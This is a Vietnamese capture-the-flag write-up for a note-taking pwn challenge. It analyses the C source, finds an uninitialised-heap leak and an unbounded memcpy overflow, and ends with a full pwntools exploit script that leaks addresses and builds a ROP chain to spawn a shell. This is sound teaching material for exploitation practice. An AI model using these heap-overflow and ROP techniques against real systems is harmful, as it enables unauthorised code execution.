---
# System prepended metadata

title: PWN03-FLAG1

---

# PWN03-FLAG1

* Trong file zip của challenge có `2` binary là `interface` và `backend`
* Đọc file `start.sh` để biết chương trình chạy như thế nào

![Screenshot 2024-02-01 141227](https://hackmd.io/_uploads/B1Ya4puqT.png)

* Chạy `interface` với argument là `backend`

![Screenshot 2024-02-01 141440](https://hackmd.io/_uploads/r101H6u5T.png)

* Option `1`

```cpp=
void add_new_note()
{
	char title[32];
	char author[32];
	char buf[64];
	char passwd_hash[SHA256_DIGEST_LENGTH];
	int is_encrypt;
	uint32_t content_len;

	if(notes_size > MAX_NOTE){
		printf("Unable to add new note\n");
		return;
	}

	printf("Title: ");
	read_line(title, sizeof(title) - 1);
	printf("Author: ");
	read_line(author, sizeof(author) - 1);

	do{
		printf("Wanna encrypt this notes? (y/n) ");
		read_line(buf, sizeof(buf));
	}while(buf[0] != 'y' && buf[0] != 'n');

	is_encrypt = buf[0] == 'y' ? 1 : 0;

	Note_t new_note = Note_init(title, author, 0, is_encrypt);
	if(is_encrypt){
		printf("What is your passwd? ");
		bzero(buf, sizeof(buf));

		read_line(buf, sizeof(buf) - 1);
		SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
	}

	printf("How many bytes for content? ");
	content_len = read_int();
	if(content_len > MAX_CONTENT_LEN){
		content_len = MAX_CONTENT_LEN;
	}

	printf("Content: \n");
	new_note->note_content = malloc(content_len);
	new_note->note_content_len = content_len;
	fgets(new_note->note_content, content_len, stdin);

	if(is_encrypt){
		// sync this note to backend
		size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
		msg_hdr_t send_msg = malloc(send_size);
		send_msg->action = COMMIT;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
		memcpy(&(serialize_p->common), &(new_note->common), sizeof(struct NoteCommon));
		serialize_p->note_content_len = sizeof(passwd_hash) + content_len;
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
		memcpy(&(serialize_p->content[sizeof(passwd_hash)]), new_note->note_content, new_note->note_content_len);

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		uint64_t status = 0;
		int rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
		
		if(IS_ERR(rc) || status != OK){
			printf("Unable to sync this note to server :(, destroying this note\n");
			Note_destroy(new_note);
			return;
		}

		free(new_note->note_content);
		new_note->note_content = NULL;
		new_note->note_synced = 1;
	}

	DL_APPEND(notes, new_note);
	notes_size++;
	puts("Added");
}
```

* Khởi tạo`1` note. Nếu như chọn option `encrypt` thì hàm này sẽ tạo `1` key bằng cách lấy hash `SHA256` của `password` mình nhập vào rồi gửi cho `backend` để `backend` mã hóa, còn không thì sẽ chỉ tạo note đó trên `interface`
* 1 số structs mà `interface` sử dụng
```cpp=
struct Note {
	struct NoteCommon common;
	char *note_content;
	struct Note *prev;
	struct Note *next;
};
struct NoteSerialize {
	struct NoteCommon common;
	char content[];
};
struct NoteCommon {
	char title[MAX_LEN];
	char author[32];
	uint32_t content_len;
	uint32_t flags;
	uint32_t encrypt:1;
	uint32_t synced:1; // unsed in backend
};
typedef enum Action {
	NONE = 0,
	COMMIT = 1,
	FETCH = 2,
	DELETE = 3,
	AUTH = 4,
	TRUNCATED = 5 // use for reply_msg is larger than SHM_MEM_MAX_SIZE
} Action;

struct msg_hdr {
	Action action;
	uint32_t msg_size;
	char msg_content[];
};
```

* Option 2 

```cpp=
void list_note()
{
	Note_t tnote;
	DL_FOREACH(notes, tnote){
		printf("Title: %s\n", tnote->note_title);
		printf("Author: %s\n", tnote->note_author);
		if(tnote->note_is_encrypt){
			printf("Content: (Encrypted)\n");
		} else {
			printf("Content: %s\n", tnote->note_content);
		}
	}
}
```
* Đơn giản là in ra `content` của các note(nếu không được mã hóa)
* Option 3

```cpp=
void read_note()
{
	struct Note s_note;
	Note_t tmp;
	char buf[64];
	char passwd_hash[SHA256_DIGEST_LENGTH];
	msg_hdr_t send_msg;
	msg_hdr_t recv_msg;
	size_t recv_size = 0;
	size_t send_size = 0;
	NoteSerialize_t serialize_p;
	Status status;
	int rc;

	bzero(&s_note, sizeof(struct Note));
	printf("Title: ");
	read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
	printf("Author: ");
	read_line(s_note.note_author, sizeof(s_note.note_author) - 1);

	DL_SEARCH(notes, tmp, &s_note, Note_cmp);
	if(!tmp){
		printf("Unable to find your note\n");
		return;
	}

	if(tmp->note_is_encrypt){
		printf("Password? ");
		read_line(buf, sizeof(buf) - 1);
		// sha1 here
		SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);

		// read from backend
		send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH;
		send_msg = malloc(send_size);
		send_msg->action = FETCH;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)send_msg->msg_content;

		memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		rc = recv_data_timeout(&ipc, SENDER, (void **)&recv_msg, &recv_size, 60);
		if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
			printf("Unable to read content\n");
			return;
		}

		serialize_p = (NoteSerialize_t)recv_msg->msg_content;
		printf("Content: %s\n", serialize_p->content);

	} else {
		printf("Content: %s\n", tmp->note_content);
	}
}
```
* Chọn `1` note để in ra `content`. Nếu note được mã hóa thì sẽ lấy `content` trên `backend` bằng cách đưa cho `password` để chương trình tạo `key` và thông qua xác thực thì mới lấy được nội dung của note. Còn nếu không bị encrypt thì lấy luôn `content` của note trên `interface`
* Option 4

```cpp=
void edit_note()
{
	struct Note s_note;
	Note_t tmp;
	char buf[64];
	char passwd_hash[SHA256_DIGEST_LENGTH];
	msg_hdr_t send_msg;
	size_t send_size = 0;
	NoteSerialize_t serialize_p;
	uint64_t status;
	int rc;

	bzero(&s_note, sizeof(struct Note));
	printf("Title: ");
	read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
	printf("Author: ");
	read_line(s_note.note_author, sizeof(s_note.note_author) - 1);

	DL_SEARCH(notes, tmp, &s_note, Note_cmp);
	if(!tmp){
		printf("Unable to find your note\n");
		return;
	}
	
	if(tmp->note_is_encrypt){
		printf("Password ?");
		read_line(buf, sizeof(buf) - 1);
		// sha256
		SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);

		// sync with server
		send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash);
		send_msg = malloc(send_size);
		send_msg->action = AUTH;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)send_msg->msg_content;
		memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
		serialize_p->note_content_len = sizeof(passwd_hash);
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);
		if(IS_ERR(rc) || status != OK){
			printf("Authenticate was failed\n");
			return;
		}
		printf("Access granted\n");
	}

	printf("New content len?");
	uint32_t content_len = read_int();
	content_len = content_len < MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN;

	printf("New content:\n");
	if(tmp->note_is_encrypt){
		tmp->note_content = malloc(content_len);
		tmp->note_content_len = content_len;
		fgets(tmp->note_content, content_len, stdin);
		// sync with server
		send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
		send_msg = malloc(send_size);
		send_msg->action = COMMIT;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)send_msg->msg_content;
		memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));

		serialize_p->note_content_len += sizeof(passwd_hash);
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
		memcpy(serialize_p->content + sizeof(passwd_hash), tmp->note_content, tmp->note_content_len);

		free(tmp->note_content);
		tmp->note_content = NULL;

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
		if(IS_ERR(rc) || status != OK){
			printf("Unable to update your content\n");
			return;
		}
		tmp->note_synced = 1;
	} else {
		if(tmp->note_content){
			free(tmp->note_content);
		}
		tmp->note_content = malloc(content_len);
		tmp->note_content_len = content_len;
		fgets(tmp->note_content, content_len, stdin);
		tmp->note_synced = 0;
	}
}
```

* Chọn `1` note để thay đổi `content`. Nếu được mã hóa thì sẽ phải qua bước xác thực tới `backend` còn không thì sẽ chỉ thay đổi `content` trên `interface`
* Cuối cùng là hàm `note_sync` ở option 6

```cpp=
int note_sync(int flag)
{
	msg_hdr_t msg_hdr = NULL;
	uint32_t send_size, recv_size;
	struct msg_hdr inline_msg_hdr;
	Note_t cur_note, next_note, next_note2;
	NoteSerialize_t serialize_p;
	uint64_t status;
	uint32_t read_count = 0;
	int rc;

	if(flag == 1){
		send_size = sizeof(struct msg_hdr);

		next_note = notes;
		next_note2 = notes;

		// commit un-synced note to backend
		DL_FOREACH(next_note, cur_note){
			if(cur_note->note_synced)
				continue;
			send_size += sizeof(struct NoteSerialize) + cur_note->note_content_len;
			if(send_size > SHM_MEM_MAX_SIZE){
				next_note = cur_note;
				break;
			}
		}

		if(send_size == sizeof(struct msg_hdr)){
			printf("All notes was synced\n");
			return 0;
		}

		msg_hdr = malloc(send_size);
		msg_hdr->action = COMMIT;
		msg_hdr->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)msg_hdr->msg_content;

		DL_FOREACH(next_note2, cur_note) {
			if(cur_note->note_synced)
				continue;
			memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon));
			memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len);
			serialize_p = (NoteSerialize_t)((size_t)serialize_p + sizeof(struct NoteSerialize) + cur_note->note_content_len);
			cur_note->note_synced = 1;
		}

		send_data(&ipc, RECEIVER, msg_hdr, send_size);
		free(msg_hdr);

		rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
		if(IS_ERR(rc) || status != OK){
			printf("Unable to commit data to backend\n");
			return 1;
		}

	} else {
		// fetch from backend
		inline_msg_hdr.action = FETCH;
		inline_msg_hdr.msg_size = 0xFFFFFFFF; // fetch all except encrypted note content
		send_data(&ipc, RECEIVER, &inline_msg_hdr, sizeof(inline_msg_hdr));

		int truncated = 0;
		do{
			truncated = 0;
			rc = recv_data_timeout(&ipc, SENDER, (void **)&msg_hdr, (uint64_t *)&recv_size, 60);
			if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
				if((Status)recv_size == OK){
					return 0;
				} else {
					printf("Unable to fetch data from backend\n");
					return 1;
				}
			}

			if(msg_hdr->action == TRUNCATED)
				truncated = 1;

			Note_t search_note;
			// parse from backend
			while(read_count < msg_hdr->msg_size){
				serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
				Note_t new_note = Note_init(serialize_p->note_title,
											serialize_p->note_author,
											serialize_p->note_content_len,
											serialize_p->note_is_encrypt);

				read_count += sizeof(struct NoteSerialize);
				Note_t p_note;
				DL_SEARCH(notes, search_note, new_note, Note_cmp);
				p_note = search_note;
				if(!search_note){
					p_note = new_note;
				}

				// update new content
				if(!p_note->note_is_encrypt){
					memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
					read_count += new_note->note_content_len;
				}

				if(p_note->note_is_encrypt) {
					p_note->note_synced = 1;
					if(p_note->note_content){
						free(p_note->note_content);
						p_note->note_content = NULL;
					}
				}

				if(!search_note){
					DL_APPEND(notes, new_note);
				} else {
					Note_destroy(new_note);
				}
			}

			if(truncated){
				// signal backend send next data
				send_data(&ipc, RECEIVER, NULL, OK);
			}
		} while(truncated);
	}
	return 0;
}

```
* Sẽ có `2` option đó là `c` hoặc `s`. `c` tức là `COMMIT` tất cả các note của `interface` lên `backend`, `s` là cập nhật tất cả note của `backend` về `interface`

## TÌM BUG

* Ở hàm `edit_note`

```cpp=
if(tmp->note_content){
			free(tmp->note_content);
		}
		tmp->note_content = malloc(content_len);
		tmp->note_content_len = content_len;
		fgets(tmp->note_content, content_len, stdin);
		tmp->note_synced = 0;
```
* Khi `malloc` thì chương trình không khởi tạo giá trị ban đầu nên vẫn còn sót lại trên `heap` nên có thể leak dc
* Edit note với cùng `1` size thì khi `malloc` nó sẽ nhận lại chunk vừa `free`
* Chunk khi vừa được `free`

![Screenshot 2024-02-01 143121](https://hackmd.io/_uploads/rkqktTuc6.png)
* Sau hàm `fgets`

![Screenshot 2024-02-01 143207](https://hackmd.io/_uploads/Sk3-Kad5a.png)
* Như vậy là có thể leak dc heap

```py=
new_note(b'a', b'a', 1, b'a')
edit_note(b'a', b'a', 1, b'a')
```
 * Tương tự ta tạo `1` note với `content` lớn để có `unsorted bin` để leak libc. Cần phải tạo thêm `1` note khác để chương trình `malloc` `1` chunk ở sau khi `free` chunk lớn thành `unsorted bin` sẽ không bị nhập vào `top chunk`

```py=
edit_note(b'a', b'a', 0x500, b'a')
new_note(b'b', b'b', 1, b'b')
edit_note(b'a', b'a', 1, b'a')
```
* Như vậy là giờ mình đã có `heap` và `libc`
* Bug tiếp theo nằm ở hàm `note_sync` khi lấy data từ `backend` về `interface`

```cpp=
Note_t search_note;
			// parse from backend
			while(read_count < msg_hdr->msg_size){
				serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
				Note_t new_note = Note_init(serialize_p->note_title,
											serialize_p->note_author,
											serialize_p->note_content_len,
											serialize_p->note_is_encrypt);

				read_count += sizeof(struct NoteSerialize);
				Note_t p_note;
				DL_SEARCH(notes, search_note, new_note, Note_cmp);
				p_note = search_note;
				if(!search_note){
					p_note = new_note;
				}

				// update new content
				if(!p_note->note_is_encrypt){
					memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
					read_count += new_note->note_content_len;
				}

				if(p_note->note_is_encrypt) {
					p_note->note_synced = 1;
					if(p_note->note_content){
						free(p_note->note_content);
						p_note->note_content = NULL;
					}
				}
```

* Nếu như tìm thấy note trên `interface` thì mặc nhiên nó sẽ `memcpy` nội dung từ `backend` vào `content` của `interface` mà sẽ không check bound. Vậy thì nếu như note trên `interface` có `content` size khác với trên `backend` thì ta sẽ có `BOF`
* Đầu tiên để đẩy note lên `backend` thì mình dùng `note_sync(1)` như vậy thì mỗi note chương trình sẽ đánh dấu `cur_note->note_synced = 1;`
* Khi mà `edit_note` để thay đổi size của `content` thì nó sẽ không quan tâm đến flag đó mà chỉ quan tâm đến flag `is_encrypt` nếu không có thì sẽ chỉ đổi `content` trên `interface` mà không commit tới `backend`. Như vậy là ta có `heap overflow`

## KHAI THÁC

* Đầu tiên mình tạo `1` note với size lớn, sau đó dùng `sync_note(1)` để commit tới `backend` sau đó thay đổi `content` note đó thành size bé hơn rồi tạo thêm `1` note mới để `heap overflow` sẽ overwrite note mới đó

```py=

payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
new_note(b'a', b'a', 0x200, payload)
note_sync('c')
edit_note(b'a', b'a', 1, b'a')
new_note(b'b', b'b', 1, b'hehe')
```
* Để trigger bug

```py=
note_sync('s')
```

* Chạy đến `memcpy`
![Screenshot 2024-02-01 144351](https://hackmd.io/_uploads/r1MAiTuqp.png)

* Copy `0x200` bytes

![Screenshot 2024-02-01 144404](https://hackmd.io/_uploads/ryokn6O5a.png)

* Ta thấy chunk `0x55969bf77610` chỉ có size `0x20` và phía trên là note thứ `2` mà mình tạo. Craft payload để ghi đè note đó. Thay đổi `content` thành `environ` để leak stack

```py=
payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
```
* Sau khi `memcpy`
![Screenshot 2024-02-01 144625](https://hackmd.io/_uploads/SJCI2Td9T.png)
* Như vậy là ta đã có `stack`
* Tiếp theo mình sẽ lại khai thác lỗi này để tạo ropchain
* Lại tạo `1` note có `content` lớn và `1` note khác để commit tới `backend`, lần này sẽ trigger `2` lần `memcpy`. Lần đầu tiên sẽ dùng `memcpy` để overwrite `1` note như vừa rồi, `memcpy` thứ `2` sẽ dùng để tạo ropchain
* Lần `memcpy` đầu tiên
![Screenshot 2024-02-01 144934](https://hackmd.io/_uploads/BJ8STp_c6.png)


* Overwrite `content` của note tiếp theo thành `saved rip` của `note_sync`
![Screenshot 2024-02-01 145006](https://hackmd.io/_uploads/H1hwp6u96.png)

![Screenshot 2024-02-01 145014](https://hackmd.io/_uploads/HkX_aTd5a.png)

* Lần `memcpy` thứ `2`

![Screenshot 2024-02-01 145135](https://hackmd.io/_uploads/SkKo6a_qp.png)
* Cuối cùng ta có ropchain

![Screenshot 2024-02-01 145217](https://hackmd.io/_uploads/rJMTTTOqT.png)

![Screenshot 2024-02-01 145249](https://hackmd.io/_uploads/ByMkRau96.png)

* Script

```py=
from pwn import *
import psutil

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)


interface = context.binary = ELF('interface')
libc = ELF('libc.so.6')


def pidof(name):
    pid = 0
    for proc in psutil.process_iter():
        if name == proc.name():
            pid = proc.pid
            break
    return pid

def choice(i):
    sla(b'Choice: ', str(i).encode())
def new_note(title, author, content_len, content, encrypt = None):
    choice(1)
    sla(b'Title', title)
    sla(b'Author', author)
    if encrypt != None:
        sla(b'notes?', b'y')
        sla(b'passwd? ', encrypt)
    else:
        sla(b'notes?', b'n')
    sla(b'content?', str(content_len).encode())
    sa(b'Content: ', content)
    p.sendline(b'')
def list_note():
    choice(2)
def read_note(title, author, encrypt = None):
    choice(3)
    sla(b'Title', title)
    sla(b'Author', author)
    if encrypt != None:
        sla(b'Password', encrypt)
def edit_note(title, author, content_len, content, encrypt = None):
    choice(4)
    sla(b'Title', title)
    sla(b'Author', author)
    if encrypt != None:
        sla(b'Password', encrypt)
    sla(b'len', str(content_len).encode())
    sla(b'content', content)
def delete_note(title, author, encrypt = None):
    choice(5)
    sla(b'Title', title)
    sla(b'Author', author)
    if encrypt != None:
        sla(b'password', encrypt)
def note_sync(s_c):
    choice(6)
    if s_c == 'c':
        sla(b'note? ', b'c')
    else:
        sla(b'note? ', b's')
    
    
    
    
def GDB(proc):
    gdb.attach(proc, gdbscript='''
               #b delete_note
               b *(note_sync + 547)
               #b *(add_new_note + 316)
               #b edit_note
               c''')
def GDB_backend(proc):
    gdb.attach(proc, gdbscript='''
               #b NoteBackend_init
               c''')
def GDB_All():
    GDB(p)
    #GDB_backend(pidof('backend'))

# = remote('0', 31339)
#p = remote('139.162.29.93', 31339)    
p = process(['./interface', './backend'])
#print('pidof: ', pidof('backend'))
new_note(b'a', b'a', 1, b'a')
#p.sendline(b'')

#leak heap
edit_note(b'a', b'a', 1, b'a')
list_note()
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
heap = leak << 4*3
print('heap: ', hex(heap))

#leak libc
edit_note(b'a', b'a', 0x500, b'a')
new_note(b'b', b'b', 1, b'b')
#p.sendline(b'')
edit_note(b'a', b'a', 1, b'a')
list_note()
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
libc.address = leak - 0x21b110
print('libc: ', hex(libc.address))

delete_note(b'a', b'a')
delete_note(b'b', b'b')


payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
new_note(b'a', b'a', 0x200, payload)
note_sync('c')
edit_note(b'a', b'a', 1, b'a')
new_note(b'b', b'b', 1, b'hehe')

note_sync('s')
list_note()
p.recvuntil(b'Author: b\n')
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
stack = leak
print('stack: ', hex(stack))
#new_note(b'a', b'a', 1, b'a')
#delete_note(b'a', b'a')

#

payload = b'\x00'*0x200
payload += p64(0) + p64(0x21) + b'A'*0x10 + p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7 + p64(0x62) + p64(0)*3 + p64(0x10) + p64(0)
payload += p64(stack)
payload += p64(heap + 0x630) + p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0) + p64(heap + 0x400)  + p64(heap + 0x770)*2 + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x50) + p64(0x2)
payload += p64(stack - 0x338) + p64(heap + 0x6e0) + p64(0) + p64(0x61)
payload += p64(0xdeadbeef)
print('len: ', hex(len(payload)))

payload2 = b'hihi'
RET = 0x00000000000baaf9 + libc.address#: xor rax, rax ; ret

rop = ROP(libc)
rop.raw(RET)
rop.system(next(libc.search(b'/bin/sh\x00')))
payload2 = rop.chain()
delete_note(b'a', b'a')
delete_note(b'b', b'b')
new_note(b'a', b'a', 0x400, payload)
new_note(b'b', b'b', 0x50, payload2)
note_sync('c')
edit_note(b'a', b'a', 0x200, b'a')
GDB_All()
note_sync('s')

p.interactive()


```